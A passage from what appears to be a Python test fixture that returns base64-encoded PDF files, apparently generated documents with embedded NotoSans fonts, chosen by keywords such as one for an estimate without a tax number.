lQGilfQs3GTrtrIGsNrY//EUN0/Xtw118Q9TPspW9jvDHaOZXUrZ6zXiI1xIeMzdRzKTSqnLJPSiFxsYeNBoYZozdhbKbfCcnp0+63SeDkyd8Ye3MwkJwemFxBj3THxoZuWP6wB3DQ3dMH7/11uNX3Xyzmq/4e+G7THC4ang0MIoGPfJ0pXUSxHaDzJOchJCWkpSZnEkO1kMiJho2VrEqJCfkWGXpQLx2tfaKyd6hzwy79+weZCemdjfu2foGO9F5fltXe5uondyexcLHOTxLDMh0GF1jggZKE9irF9zpYMXLV1oqQoYxNSctJzmJhxikYEpczDKaYdVYjbEyxB9bKdumhPbddd3QV/YEdnT3sxOX7XH6tySGn8eE8J8oW19tb+1o4PFmp3Xvu2T7LWB3VZkoXwsMtEfVq8veRpLG7FNtpaKAlV64zbJj+cWyNcfM8LvXXN64x6wEnF29Jm/LyEj9nrb6iZI8y0Bla5uprb5lx5Z7d+5PS92ekttcW1RVkm3e2eforchM60zNcFZaqqwZmbVekRtDFCcuEYeUu3zPgdfHhgh9pkO6NaNERysMGuVhhaJZDREjczUeHj1+zdDo6PgOyo1J76H2E4fwk+H9O3bt7cG71fzjDioQZxPiESf2ShrGLjhOJUGSmil0ntI4M8RmpSmDFfx68NdjH0jJMOgzU96vnrDCU+V+RemswI+LuRNpAWuhuYug3FViSjfw40Av1QtNTC4RYREU5Rrz6ACdKziIFdIQy2od0bR8efhdcckJiOlJx4fvGZ1OTNVp05OWR44mp2u1xsQpLgZ+Lq+xIi6pvzK8jyQ6tmVHsXWkAk+Gj28ZKSIf4E1CtmL6eF6sAbS2GKg0bByh9orVPGYNSzemR49Q6k7Rgs+HPVR2H8J7wl/BPW0Y7m4P81+0wEg4cgQ/ELmPVhVlTT/tc2WBOFrD+snaKGrjmh58OpoLPxBewA/eslXkyRaKzRC+RFWhDI64UvJoZ5FLJys96mnf3RfKGxx3FdHEOr2GFhTKmv0GFLsdvR73MzV1TC7rxSioj5OJ6L6F9U+4sqiSF5sLsjONqYnxtELRRjWaYUZreXQL19iBG8evHIN4QcFDCzXjY1tTNUpnq2fX8tHhhpoyf2GesvO9Xbs7HeWtw7S5GQs/5Csv8/d279BqCltrclK2GXPDGo3TXlHm7eK69pOur7N7IQsscPvXjbSV0aLUsZAXpJN9ojDI/ZxOp2pIi6apL7SFiCxvJ6LSpVKqq6vJZYnp5eTCsxfQTEy4MnOyAcgSlhwLCZOVWVIeR+mUwfdLMYeVMr6BM2YU6wtRFuC7qMxndrfsXlicaOnONKS1PLNj69YBt4vd+/mihrSiLe+65pprtxS2sXvD58f3aif27d/9IPc/P1vdji9DPjS56hPpVJWTxDQsl4KPH63Us95tIvjE0YLSHCErIy0l3gD5mK8jH+k2bxNUpzRl0ZEhxT3VvHXGVdKZlZvdkve+Tl95W17utvj6xbHdS/Wpie64lAd37TUmdiYnR895zwkfFMMdX0+PZ1rdug9IlpPrlrpN2lmjZ0KkqA82EZHUJySlXpWdfBDTTbvyvW+nIR/k5GQj90FxTrExLTWFjrdZmMXjMUdEIdfUacc22iWJ2Cx3NLahiEtS/fXd8/O7m7tydEwz4ErSZHfbtre3DrpcrnjywLu3mJPsyY+dH3UXVXlGxlJ2Bw7u3Lk/qvuT5IccOgF5Xa4k8kQyrQaMr0t8fQpuyHjBeSKPXFVgyjXnmY2pCXF6HeRgjpo5ZixEi7pfy9pYs+l8ZyDZ0dC2uzb8ABvstneVlXbXdc5ubZjsaHEb/oTN+HLjAXft8M70tM601ObFoYEr2lw97rbtok6l0MceFiI597hSU1CrSTVQqpBYoiQUkhdMIA9pJ8WOTreXLH5KvrowufLkvnnmbX0TrnjagMqtH/IFlfZr0trqglaITqy6amB0dLivoNaYmVqWUVF+FX4ufBl+rtRUsG8o3tCui29oUVR7VuBzZE8zVMF1rtRsDdPryKBaMqwmWryK45C27PvRwGTZ0u4n2W/pi667NzISuIykO9WnUq7Xt7cTTrjylCIEOolWKVX5uWkpifF68VYkXn0rkuNsooWQMlccS3m8NDZZ1bN3Y448k4ooer1mu0mb2DG3dLmva769C1FTF9w7NzfT6nW7erx+fLmk1BXOnp0t6inr6UhP3BLXc+Lo6o2ewMTEvh27Mg7sIh/RIobnRB4NPkBbGMaTiOdHjo5i6OT6kn1bdH9jcuVstHEa3Ct7JlyUmLwMZRRnlPEFkepQtAyRg+qFU6zGu3T6nMGaXRM75odaB9m9j5cUlZaO7A1/HxtWLxv7C0nCgL9m/Qz7CK3BqcSE/7oOMeW7Gl5VTvbxE8ApudujbE66oPv05u7qvzbalcUbUQM4E9s+QXmdkUQbyaTUpNSUZMpp2kbqY19ZcU+QUkfSCwrSM02mbYPsI7n5+Xl5+fm5D4TN+AJfEyNPRiqkHib4nCuBTljaVAop1qvqZIru1E7yg9UpNUL4m5kb1/VaJzl9UZLqd5rFxX+TmZZinHlbH9cxNTkpNyczPcmUbCop1tPSHvumQbOxY+T7Mn2nKVPV1pFbnJRSaCwsHXSzYH6u0Put5/Q6l05bZGPV53/q61f3Zzy2niGPZsCAKz4tNYmCBaLxla4VayDRnepbX/9zeaN4/87X/JiuCRf/VeMMyMhIz+c7xgyjWOIYnaVoR13Oj1Yf19DBNTs77s693/nx/i80DdDi9fFUe3qcyZTw6SfDr5ytXSNJhExwF2EaqFAFSST7nZQbRpN4im6dJr6m7nfoEO28a5BiVepE8f4yrfx7v27OZWrC8AKRrRXv1Az6OI1IDflCxeTKpxpwqk/2xrHYTlo9EApNOWRxI/ki3kC7GQta4td3MyJrYrPHmSMyin+yfcNDAwc6WwemupsHXUm67O1VVxTrckfw5VGeTo0rQzvCfyKwe+wNfMFdWjpUWR7Nd5I/g/I9DTfEzxBZTUf/TbkuwoZ36TCmZ8JlRKDMUEXOwAz9hSKvi4oNO8d3zA+2cQFzoqI1rEZlUt+F8fXsNZJp0/cat114pow5yvDlqXHziRJfu2rGNd1ybM4VbAl/0Nfb4/P19nr/68oT2w4PXvmerUuDY9PTYzsDAZVnP9X814lnFljhEN8/xOzhYjYMt23suPqiVd4CvFJcsMZuotnYFVhzrBfuCnBjU8YXXWkmvtKuv2osQ8fEwsLu5p5MPeoG3YnarC5bbxtuHbC1FLjw5WvedfV1WwpTa4zfZw+rW4PUicmascaRqWjOHRT+Pahqk0gugzQtbc9Yr4k/aaJPEypBuiggGi2LbkS5jtlCx/WyGe2gkqH6nU7W5HWdqpC65KaobxOE1+3JRUkJiYVJpe6yQXe8NrsPX2aaHo2moqcuHMEXxitaoufZG0nWv3aeve2/eZ5lF6z+0ePsjXPjjp6CwuHK1sZMZ22Np2R6yNZfbCryWmudOU12u8t6qrM7LbU7NbdcSS8sTE8vcVS0edJTOpLTFVOWyWQ0ljjVWpZCstaxIcjl3xmlINNqEJiWROOiajUneFUVX3uc6uMxsfG9R1ZmRroxTVgsF3P5u4immF0W7VuohmU5qYBlZr+aXpqUbM8uc5X7O4tqbr21slmna9PH5bu3Yl5Z0cxSW/g3tkqSpYtkeZ7WmAzopzVbs5HD/C852Cl1By7PqJTD0VZ6jn3Zr67XVFOLM0rUA+zG6YkXfLHHwOfdSZrcEfv4+OChwXZ8IWx2lVlHL8PW8BMru0ffXD+H4+MkTyo/hxuQUZHn3E/FfF+RCqkm9Y0VPxozChJGZ2PNgw+OHTQYkyj4UtMMM6MPEoNfZdZWp6ZW12ZiQdiszp9Au9qH8Rzt9PlZPE2rWT/pn+rT8bhVz+LFUJyXb8zjqpRqKCasMUdxlZ+K8VO5Bp8eSUrXaLVpSbt2nxz2JNAZnCUm68d2jcRnEJqR6B2+ETGttDMzs7Ms/DsSLFI+kJ9a7cjE1PDvlO68bDqOI5cQ+Z/L4D+R/om8esXrKXI3WyA9Pd3IA7epnMLOacihJcv6rS/svuaaiS+Edp88NfHnlx944OU/P/aYqi9SbfohzZfP9c3P0JE708W+QZ0zZidZas0Tp/sLVIv9KrIDcWw2OVun1eUmTY39OH+gM1tJSihI3eJMzSOdXi11m3N6StF4/ue+Ia2mg2lqylxCBit9nCQZLvGO4dSl3jFY1XcMJ8N/h5o/YH8EUF+PV7RtC39YrbsNkbfwdjoTOMENo7TJIpU6mssKkjV6DZbK/TY/GWTFbGukvqIwZYDcr8W00mmgssJqKa3QqluYJrk+bFSD7Bz+Ha3eID7fVjqaMrOLUP2SpzwFW20mpWTPmNNfnKu0VjXaHH7/9i35RdaZvY7egsLRKo/T6Kir9Vp9zd2ZWaW57U355Thta0oxOkoa243JrUnGgrw8a16+q9G+LdVYW9zuS03xpeSUUWiaMozl9bUWu8mQVF6UU2Ix6iu5TW5gzXiCfUB8F1Qq3rzwN7ek/y7xaxv7eQXHgei3Qfz1S+w+Lfb3DW7ITU/Py0tPz/1SntGYx28WzMnKotUoO0dC9Q+gWLumLp3/eQsYDbBA6+7dELfGWOhMyFkFQDTi/Z2g2SZpfIIGozR8rSGaVPJlI9ysFqCETAqPDBKWLzXyQbOx0mSTu8Rp6KRa1DUYPZFzj+fH9PKDdkzdp50h8HfrWjazuYt2sYkNzhp7ZUVpjY6/58tM0ajVf7Ory9SXnpro17Z8q6J+Mf/TvLKyvKRiS13T3t5Kd062v8RRVVrbXJlXUprnchY1WQYbdjePH2JVZru1sCAtOSM/2+Jt2E4n3q7UnC0lFltRaUNJQYW5oDivrNhYVXr+v1hKa1eRh9tRvBdjHyA7dgGk6WHhdRD2FTVctF+mthujtZTq2dmrq3+8P7X1j1CkeZE3/yTlKv4nOfAzvE0JJ0XKNZOa+8RvuYjv9vgo9Y/0NPdR70HN5OY/52KlOM9/ywjUX2vhPy8RXqVC+C9w4xJsZX7Ipg1XM3sZbOx2qIUnYCumQAndJvwtlFJfNfwOStECJQTduAPiqc1G9yDdVXRX0J1BdwvdDvlsk+PcdBdwXPZV4w2QqNkC9ayDJOyhYG+GJsqCXfgHun9Cz++j5zsJryN+f4w8zKoJfxp2aWqp7166v0n9ioQ11Pcq2GlsPM0xxArIGn5IZKmgxfPAN5LFWAHdXGaC2eL5fZEwvEX6vQ5b2BboxxDJtQUc+CbdDZDCcWajpeVFOpG+GHkSnxd4v6YH+nk78eb0/WLMCo2/j/j7aJwNuvBx4vkdSMBnIQ1/SPH6BbDiTsgjOz5NsFDYRNqe8GG6eVsD3cmC5keEJ1BleAVs6IZCfAJKhM3I9qLt25Hz+B5px22QTXcq14XVkjzbwSHs/QTNtY0OFMNivJV9EorYA5BJ9koh22cLu1/k1uRGItwXwg+xdx3pQL6gW0N3PtnZtO6HzTejePqm8OdQ7C18wX3WRPYiu1/s1tCaw30h/BBzkw/CZP92gr+g+4/C/lE/bL55nKn9XbE394XwNYekq/D9Zsh157GwGVJsipjgeleRTNwmb74zFHG85SLwTrKFDeKwLvJ7EV91tBt7MfIqQSPBV0Tcv0i7RhX28xzgdCIPKBbF/TR0c5vwvCC4VcJ+AX8nYBKNeV34idtqMzxEdojiaj45NkONF5o0I1AncoziXMJmCV0i73jsb4aUizwfNkMRC9wf7wBF/vIcopgRORTNY8qlt8GPUb48RvJWCrmH2D6aJxmUqE+R/27Ni5Fn13WL8or6fLNvhI1j6KOQ5sRH6aTK/RCldalz8LzhsRul3WwHXsuYLfLcpewc1VPEwps0jvjglZRv/B6hez/FwWdFPS6BZwneTvct/FvtyOV0zwKEvyvsIGUUNZXXp424FZDXVlHfNuJQ9b8q359kfLXzOitqXTQ+FHW+S/k56q/NUNRgXgelfm/z3bXki0vlogqNsc/vQLsO/xv5aSVY8LZ2Nd8aJey8lL8kLH1bezQOo3BzfEfj8x1gbNxfFD7NV3z++2IS8m/iXqb7E/I+Qjf/s9x66qN1Y/3+NpRoTpJun6AdJ7/Pkg28kCjuo4QPg5/9gNYPGos5RJ9Dp4GXRe5lsQchFc8SXkjxQzfVBXHTnF+m+/MUgwt0J9F9iO7DMTc9R66K3kT7KZKsctM1GHOtwkfF9ffwDLyOmbgDj+JDLJuNss/TYcGm+ajmDW3tBde89mG6XtJl61p1t+q+pntW96w+Tl9G10797fon9U8aMg2X03WX4Ym4XHH51q8DdD0TPxp/Z0JuwnzCo4ntiTclvpI0n/T1pJ8mNyZfl/xwShld16T8a2pu6mTq+1OfT4tL6007evHLCMbm/+HV+zdee8T16vr1xt92pev///X/r//3L37iYaWwA3Swnf92DtWNe+h4CHgz/Jn/KjfVGjMurp+LaqLvrcTbmxqJMzBAh8Q1YKJdv4prIRcCEtfRfuv4+r+XSIPHJG6AYvgXicdBFvxe4vGQiXEST6C9uPw3KfxdEbZJPIlk2yPxZOzDqySeQnvs7/F/p6KNp6d97JcSR1A0bRJnVH/3SlwDjZpDEtdCreZTEtfB+zX/InE9KNqAxA3g075H4nFQqY3yiocK7W8lngAeXY7EE6FdNyHxJGjVfUTiyezDup9IPAXq4+a8S4ePL8/NzK4qjtq6BqVraWlmPqj0LE7ZFff8vDLMu1aU4eBKcPlocNrePejrdLurdiytLikjgcWV4eDMkfnAssNeW1u7jf8jmm28i/dUy67NIxTZvjO4vDK3tKjEDF0kmuqVpSPLU8GtJE1TbUtdw9aW2uDBlhans7lpqnabsrp6MHBkdWl2bnFVqThaZ2/aspmfYDS3ogSU1eXAdHAhsHxIWToYq9j2JWJ0/DA9LARm5hZnLmz0BVfmZhaV0WBgQUWD08qB48p6/7Tav0r99tnV1cNba2qOHTtmnxHz26eWFmpmgqs1XJWamO4FOVwQrKwemZ5bGp0lKTuXSJGRpYOrxwLLQS72/NxUcHGFeB5ZnA4uK6uzQWWkp18ZOBxcVIn7VQKbEjVgnb3Orlx8sum5ldXluQNHVmk+ogwsKsXuEaVnpFjxuEd6RmzKrp7R7oGxUWWXe3jYvWO0xz+iDAwr3oEdvp7RnoEd9NSpuHdMKH09O3w2JThH4iwrwSsPLwdXVpSlZWVu4fD8HIWFMhIMXlpW5eCSqsnK4eDU3MG5KWU+sDhzJDBDWhwOLi/MrXBFyGWL06T/wtxqYFU8zywdDS4vcg8dp6BQjtBM5MnVt6ka9cPK1PLc4dUV+8rcvH1peaZmoLMfvLAEh6kMLMOc+P8qq0DbPvGfYRoI66LeJWqfhyA99cAiTIGdMDe1zBMcXh+1Ip6CBIM011H6nCbKbtr8+Kj4uOmqopK2RJRLRDlCRWiRaPmIGdrczdPzMvG1E2d+bSPOA3R1ERYdFR1TvWnUO/FQNtHvFBKukORL1K9cguuinKeaKJdo7DJpHoSt0jZN9NkibLSVYC31HCTYAk666IhNtHw2hWZYpZ4AjedzzRLPRWHhCrJQHfFtgi3vqN+GRnNCm4CYd5ngNNEtCJpD1LZEnC7lse1CVz7PcfK22sNHzgiJZv4qpU94lfuZW2uUngLiFepGK/e1AgdohHKR8dMXjF+V4+0ialaJZistWjVwTFx2otqQ304SLRFtDT0HibZm3Ss1lxi9sIn7xgwr1HaEZOFeHxWe4LbsFPSrIlq4/VZpFm7P4Lq15wlyzy+KyOZ6HiF8WsQQ12ZW0I6Q/foJDgiuixfM3H/BDDZq2RyBPBLqRF79LZJNC7gqMveAiDBVPnXOgPgsppwYEd4dIVwBj3jmT1yOXYSNUv4MwBhB/uym2Bumzx303AN+MXaAWhSqEwPU6hMjegSu9nWKarADJgj2UQ+n4XMHSSrVOsvi6UqyzLKIhBUh47LQY4FauYXVasF1DQoN/3a7KmSjpQt8siLGTBHVQUGpiHxaFJkVEBHF5TwsJFwQtox6ZEXab1r6f0HoEqB7o5/H6VExdnE9h47LSsFjRJVJzcnV/4ZXN+fDCknMPXtY1Fa7kG2eINdxhvq55fvlS3MIfxoccJEf2kYCMtSgFnWoF39ioft/9T+JoQE+AyfhFPwDfBhehBvgveL/fn0JPkub0tPw73ACPojxmAC3wUfgJvgO/AIT4ZO0df4j/AH+BJ+Gr8Dj8AP4qviPZO8n3/6QrP6P8AT8M/wT/AiehN+QP34CP6at731k4dfgA/BTeAr+jfzyMvwn3AyXkwcOUSzMkwfvJj9cISJ6RWTeUfLjSxTjV1EMXA3vgmvgIfgUvBuuhevgPfAKvAoPYxImI/+bozQ0wnkIYzpmQAQBMzELsxExB3MxD/PRhAVYiGYsQgVeh7+gBYvRiiVYimVYjhW4BSuxCm1YjXZ4A57GGqzFOnSgE+uxARuxCZuxBbfiNngBzmErtiH/Qw0XutGDXvShHzuxC7uxB3shBGu0Se/H7bgDB3AQh3AY3oS34FfwHziCoziGO3EXjuME7sbLcA/uxX24HycxgAdwCqcxiAfhEZzBWZzDy+HX8L/wEM7jAi7iEh5W/wMaruIRPIrH8Eo8jlfh1XgNvguvxXfjdfgevB5P4Ek8hTfgjXgT3oyn8Ra8FW/D9+L78P34AbwdP4gfwjvww/gR/Ch+DO/Ej+Nd+An8JP4d3g3PwFn8FPwcnoXn4Hn4GfwSP42fwc/i5/Dz+AX8In4J78Ev4734Ffwq3ochXMMzeD9+DR/Ar+OD+BB+Ax/GR/Dv8R/wm/gtfBQfw2/jd/C7+D38Pv4A/xEfxyfwh/hP+CN8Ev8Zf4z/gv+KP8Gn8N/wp/g0PoM/w3/Hn+Oz+Bz+An+Jz+NZfAHP4a/wP/DX+L/wRfwNvoQv4yv4n/gq/hZfw9/hf+Hv8Q/4R/wT/hlfx7/gG/gmvoXnMYwRBgwZE/+HTsf0zCD+G10CS2RJLFn8F7o0ZmTpLIP/NzqWzXJYLstj+czEClghM7MipjALK2ZWVsJKWRkrZxVsC6tkVczGquEM3A9fhwfhu/A1eAC+BzfCl5kdvgnfYjWsFm5ldczBnKyeNbBG1sSaWQvbyraxVtbG2lkHczE38+hn5o8fnq1TgUMFTsORxTk6nrgl9KnQXSuhfPY4JJT0nhaDeyEwtby0aAioUO8+sBw8GtQHBDC4l2aWFoOHDAEVJninl1YDU7RXXk2YWkf1vqkAHzqtAh/NE1g1+OXEQTmxX504KECCf2Oi4Dpq8Et2QRXq/eqMQQESujbGzGyM4YrUORwSOrXdBwLL2ln60Peszs1PB/VzAhh6pDxzUp4eVZ45VdEeyXlOhYm9U3PLU0cWDs4Hr0y8fANXuTgbJWxKOjSzHAwu0ilhem5K3x+YohOMfl4ASeKR0KvvV5WZF0DbTxpo5+lDv0MdtRgzqr5Bwkb9DnXUogCJiwH+31mXlw7PBjX+xRlNcHHGMCAVW5KKDaiKLQmQPDB7ZHEmsHxkYZ6Oo8lLsU/6YZXzcgznBqlaQ5N+WOW8rIIRlXYlhrZRGr3RqR9ViVZV3Ua5C1a5C8ZUFxxRXTAmJT2iQt3YMh2ZdEf4Z/LYBXIeiX0yjEnnHJHO2RXjnGMx+EQMfnwD1+9WZb9KgITdG2F01aYwau7UDcwuLS/qlsTnmPg8wj/Vfk+TCr0+Cf0SdqrQVythnYTSQj6nhPUSynE+Oc4v2/0N+i7VkjMCyNZmCVskdEsoY8vvlVBK5Zez++XsnVKqTsmlsyHBzW2umiOwjhrcfhUGggImDqzMB1ZmVXxpAxezOOqaJWyR0C2hR0K/hKoUDofsd8h+h+x3yH5nrYR1EjokdEqo2t7RIPm1yH6v+uysdUjoTSKvHgjOLx2bWlo4IBrrfaqw9f5aCQWTOr86iKBTQreEHhXW1Uoo6VWlCHaq0CH7HbLfUS9hg4SNEjap0CnpnZK+Xj7XR5/l+Ho5vkGOb5DjGyV9o6RvlPI3SvkbpfyNHv2umeUAlYFjKtilpsAxAeJ3Tc8Fl4Mrcyvxx6KYOq7ZK6FPQqlvs9S3RfJvkfxbJP8Wyb9F0rslnVvSuSWdW9K5pZ5uqadb6umWerqlHm7pB7eUyx2dX8rjkXw8ko9H8vFIPh7JxyP5eCQfj+TjaZawRULJ1yP5eiRfj7SHR/L3SP5eyd8r+XslP6/k55X8vJKfV/LzSn5eyc8r+XklP6/k55X8vJKfT/LzSX4+qa9P6uuT/HySn0/y80l+PsnPJ/n5JD+f5OeX8vul/H45n1/O55fz+eV8fjmfX87nl/P5o/NJ+f1S/k4pf2edfkINzOMCyFbJvVNy75TcOyX3Tsm9U3B30D5HwjoJHRI6JayXsEHCRgmbJGyWMDqfW4V1ct66uoSDczNHloPTVPrUJrVaOWobOrX+I8tL4qGhU2jd6VHlIOiQ0ClhfZzYpTU4aqNIXRRxRBFnFFknbogijVGkKYo0R5EWiTijMzujMzsd0PcQ/OPw+BrieydCqP7LvMNrYPC4Eh/41G2wtB+8NfFQKVoyvxj3objr4o5qDup36nu1jXElhvg42XVG/0n9af3VuKjdpx1kLn21TnSledyJla5Sl+IqfDTv0axH0x9NfjTeRefZeOrMo046bG6+RKcGfGsleNPQeMh10/iaZtq3VsGfHooD/gi+CdNaOW94OO46QK3rpqlRtZn/uDLviftw3PVxV2pm9eP6fm1zXJkhPqnyIYycCmlvW2Pgu183rQef738DL4RToAplbmRzdHJlYW0KZW5kb2JqCjI2IDAgb2JqCjEzMzk1CmVuZG9iagoyNyAwIG9iago8PAovRm9udEZpbGUyIDI1IDAgUgovVHlwZSAvRm9udERlc2NyaXB0b3IKL0FzY2VudCAxMDY5Ci9EZXNjZW50IC0yOTMKL0ZsYWdzIDMyCi9Gb250QkJveCBbIC01MDAgLTIxNyA4NjQgOTQzIF0KL0ZvbnROYW1lIC9IUERGQUErTm90b1NhbnMtUmVndWxhcgovSXRhbGljQW5nbGUgMAovU3RlbVYgMAovWEhlaWdodCA0ODIKPj4KZW5kb2JqCnhyZWYKMCAyOAowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMTUgMDAwMDAgbg0KMDAwMDAwMDA2NCAwMDAwMCBuDQowMDAwMDAwMTMwIDAwMDAwIG4NCjAwMDAwMDAxOTQgMDAwMDAgbg0KMDAwMDAwMDM5MSAwMDAwMCBuDQowMDAwMDAxOTY4IDAwMDAwIG4NCjAwMDAwMDE5ODggMDAwMDAgbg0KMDAwMDAwMjE0MSAwMDAwMCBuDQowMDAwMDAyNzMyIDAwMDAwIG4NCjAwMDAwMDI3NTEgMDAwMDAgbg0KMDAwMDAwNTY5NyAwMDAwMCBuDQowMDAwMDA3MDMzIDAwMDAwIG4NCjAwMDAwMDcwNTQgMDAwMDAgbg0KMDAwMDAwNzIwNyAwMDAwMCBuDQowMDAwMDA3ODAwIDAwMDAwIG4NCjAwMDAwMDc4MjAgMDAwMDAgbg0KMDAwMDAxMDc2NCAwMDAwMCBuDQowMDAwMDEyMTAwIDAwMDAwIG4NCjAwMDAwMTIxMjEgMDAwMDAgbg0KMDAwMDAxMjMyMCAwMDAwMCBuDQowMDAwMDE0NjI3IDAwMDAwIG4NCjAwMDAwMTQ2NDggMDAwMDAgbg0KMDAwMDAyNjYzMSAwMDAwMCBuDQowMDAwMDI2NjUzIDAwMDAwIG4NCjAwMDAwMjY4NjIgMDAwMDAgbg0KMDAwMDA0MDM3NSAwMDAwMCBuDQowMDAwMDQwMzk3IDAwMDAwIG4NCnRyYWlsZXIKPDwKL1Jvb3QgMSAwIFIKL0luZm8gMyAwIFIKL1NpemUgMjgKPj4Kc3RhcnR4cmVmCjQwNjAwCiUlRU9GCg=="
}
if keyword == 'est_without_tax_number_without_responses':
return {
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gMjU2IDUxNCA1MTQgNTE0IDQyOSA4MDcgNjIxIDYwNCA1NzMgNjY2IDUwNCA0OTQgNjUxIDY4OCAzNTAgMjk3IDU5NyA1MDggODQ4IDczMSA3MTYgNTY1IDcxNiA1OTQgNDk1IDUyMSA2ODAgNTg1IDg3MCA2MDAgNTYxIDUyMSAyOTcgMzcxIDI5NyA1MTQgMzY5IDMyNSA1NDMgNTY5IDQ2MiA1NjkgNTMxIDM0OCA1NjkgNTkxIDI3NCAyNzQgNTU4IDI3NCA4ODMgNTkxIDU1NyA1NjkgNTY5IDQwOCA0NDcgMzkwIDU5MSA1MTIgNzcwIDUyMCA1MTIgNDM5IDM1NCA0OTUgMzU0IDUxNCBdIDE2MCBbIDIzNCAyNTcgNTE0IDUxNCA1MTQgNTE0IDQ5NSA0MzcgNTQ2IDc0OCAzNDQgNTUzIDUxNCAyODkgNzQ4IDQ1MCAzODUgNTE0IDM0MSAzNDEgMzI1IDU5NCA1ODkgMjU2IDE4NCAzNDEgMzQ5IDU1MyA3NDcgNzg2IDc2MCA0MjkgNjIxIDYyMSA2MjEgNjIxIDYyMSA2MjEgODU2IDU3MyA1MDQgNTA0IDUwNCA1MDQgMzUwIDM1MCAzNTAgMzUwIDY2NiA3MzEgNzE2IDcxNiA3MTYgNzE2IDcxNiA1MTQgNzE2IDY4MCA2ODAgNjgwIDY4MCA1NjEgNTY1IDYzOSA1NDMgNTQzIDU0MyA1NDMgNTQzIDU0MyA4MjUgNDYyIDUzMSA1MzEgNTMxIDUzMSAyNzQgMjc0IDI3NCAyNzQgNTU3IDU5MSA1NTcgNTU3IDU1NyA1NTcgNTU3IDUxNCA1NTcgNTkxIDU5MSA1OTEgNTkxIDUxMiA1NjkgNTEyIDYyMSA1NDMgNjIxIDU0MyA2MjEgNTQzIDU3MyA0NjIgXSAyNjYgWyA1NzMgNDYyIDU3MyA0NjIgNjY2IDU2OSA2NjYgNTg0IDUwNCA1MzEgNTA0IDUzMSA1MDQgNTMxIDUwNCA1MzEgNTA0IDUzMSBdIDI4NiBbIDY1MSA1NjkgNjUxIDU2OSA2NTEgNTY5IF0gMjk0IFsgNjg4IDU5MSAzNTAgMjc0IDM1MCAyNzQgMzUwIDI3NCAzNTAgMjc0IDM1MCAyNzQgXSAzMDggWyAyOTcgMjc0IDU5NyA1NTggNTU4IDUwOCAyNzQgNTA4IDI3NCA1MDggMjc0IDUwOCAzMjUgNTA4IDI3NCA3MzEgNTkxIDczMSA1OTEgNzMxIDU5MSA2OTMgNzMxIDU5MSA3MTYgNTU3IDcxNiA1NTcgNzE2IDU1NyA4NzUgODgwIDU5NCA0MDggNTk0IDQwOCA1OTQgNDA4IDQ5NSA0NDcgXSAzNTAgWyA0OTUgNDQ3IDQ5NSA0NDcgNTIxIDM5MCA1MjEgMzkwIDUyMSAzOTAgNjgwIDU5MSA2ODAgNTkxIF0gMzY2IFsgNjgwIDU5MSA2ODAgNTkxIDY4MCA1OTEgODcwIDc3MCA1NjEgNTEyIDU2MSA1MjEgNDM5IDUyMSA0MzkgNTIxIDQzOSBdIDM5OSBbIDczNSBdIDQxNiBbIDc0MiA2MTEgXSA0MzEgWyA3OTYgNjg0IF0gNDM5IFsgNTMxIF0gNDYxIFsgNjIxIDU0MyAzNTAgMjc0IDcxNiA1NTcgNjgwIDU5MSBdIDQ3OCBbIDYyMSA1NDMgXSA0ODQgWyA2NTEgNTY5IDY1MSA1NjkgNTk3IDU1OCA3MTYgNTU3IDcxNiA1NTcgNTMxIDUyMiAyNzQgXSA1MDAgWyA2NTEgNTY5IF0gNTA2IFsgNjIxIDU0MyA4NTYgODI1IDcxNiA1NTcgXSA1MzYgWyA0OTUgNDQ3IDUyMSAzOTAgXSA1NDIgWyA2ODggNTkxIF0gNTU0IFsgNzE2IDU1NyBdIDU1OCBbIDcxNiA1NTcgNzE2IDU1NyA1NjEgNTEyIF0gNTY3IFsgMjc0IF0gNjAxIFsgNTMxIF0gNjU4IFsgNTIyIF0gNzEwIFsgNDUzIDQ1MyBdIDcxMyBbIDM2OSBdIDcyOCBbIDQxNyAyMTcgMjkyIDI1MCA0MzYgNDY0IF0gNzcwIFsgMCBdIDc4MCBbIDAgXSA4MDMgWyAwIF0gMTI0MCBbIDczNSBdIDEyNDggWyA1MzEgNTIyIF0gNzY4MiBbIDYwNCA1NjkgXSA3NjkwIFsgNjY2IDU2OSBdIDc2OTYgWyA2NjYgNTY5IF0gNzcxMCBbIDQ5NCAzNDggNjUxIDU2OSBdIDc3MTYgWyA2ODggNTkxIDY4OCA1OTEgXSA3NzI4IFsgNTk3IDU1OCBdIDc3NDQgWyA4NDggODgzIF0gNzc0OCBbIDczMSA1OTEgXSA3NzY2IFsgNTY1IDU2OSBdIDc3NzYgWyA0OTUgNDQ3IDQ5NSA0NDcgXSA3Nzg2IFsgNTIxIDM5MCBdIDc4MDggWyA4NzAgNzcwIDg3MCA3NzAgODcwIDc3MCBdIDc4MjAgWyA2MDAgNTIwIDU2MSA1MTIgNTIxIDQzOSA1MjEgNDM5IF0gNzgzOCBbIDY4NiBdIDc4NDAgWyA2MjEgNTQzIDYyMSA1NDMgNjIxIDU0MyA2MjEgNTQzIF0gNzg1MCBbIDYyMSA1NDMgNjIxIF0gNzg1NCBbIDYyMSA1NDMgNjIxIDU0MyA2MjEgNTQzIDYyMSA1NDMgNjIxIDU0MyA1MDQgNTMxIDUwNCA1MzEgNTA0IDUzMSA1MDQgNTMxIDUwNCA1MzEgXSA3ODc2IFsgNTA0IDUzMSA1MDQgNTMxIDM1MCAyNzQgMzUwIDI3NCA3MTYgNTU3IDcxNiA1NTcgNzE2IDU1NyA3MTYgNTU3IF0gNzg5NCBbIDcxNiA1NTcgNzE2IDU1NyA3NDIgNjExIDc0MiA2MTEgXSA3OTA4IFsgNjgwIDU5MSA2ODAgNTkxIDc5NiA2ODQgNzk2IDY4NCA3OTYgNjg0IDc5NiA2ODQgNzk2IDY4NCA1NjEgNTEyIDU2MSA1MTIgNTYxIDUxMiA1NjEgNTEyIF0gODE5MiBbIDQ3NCA5NDggNDc0IDk0OCAzMTYgMjM3IDE1OCAxNTggMTE4IDE4OSA1MiBdIDgyMDggWyAyODkgMjg5IDI4OSA0NTAgOTAwIF0gODIxNiBbIDE5NSAxOTUgMjU2IF0gODIyMCBbIDQwMCA0MDAgNDYxIF0gODIyNiBbIDMzOCBdIDgyMzAgWyA3NjkgXSA4MjM5IFsgMTg5IF0gODI0OSBbIDMzMSAzMzEgXSA4Mjg3IFsgMjM3IF0gODM2NCBbIDUxNCBdIDg0ODIgWyA2OTUgXSA5NzI0IFsgNDkwIF0gNjQyNTcgWyA2MjIgNjIyIDk3MSA5NzEgXSBdCi9DSURUb0dJRE1hcCAxMSAwIFIKL0NJRFN5c3RlbUluZm8gPDwKL1JlZ2lzdHJ5IChBZG9iZSkKL09yZGVyaW5nIC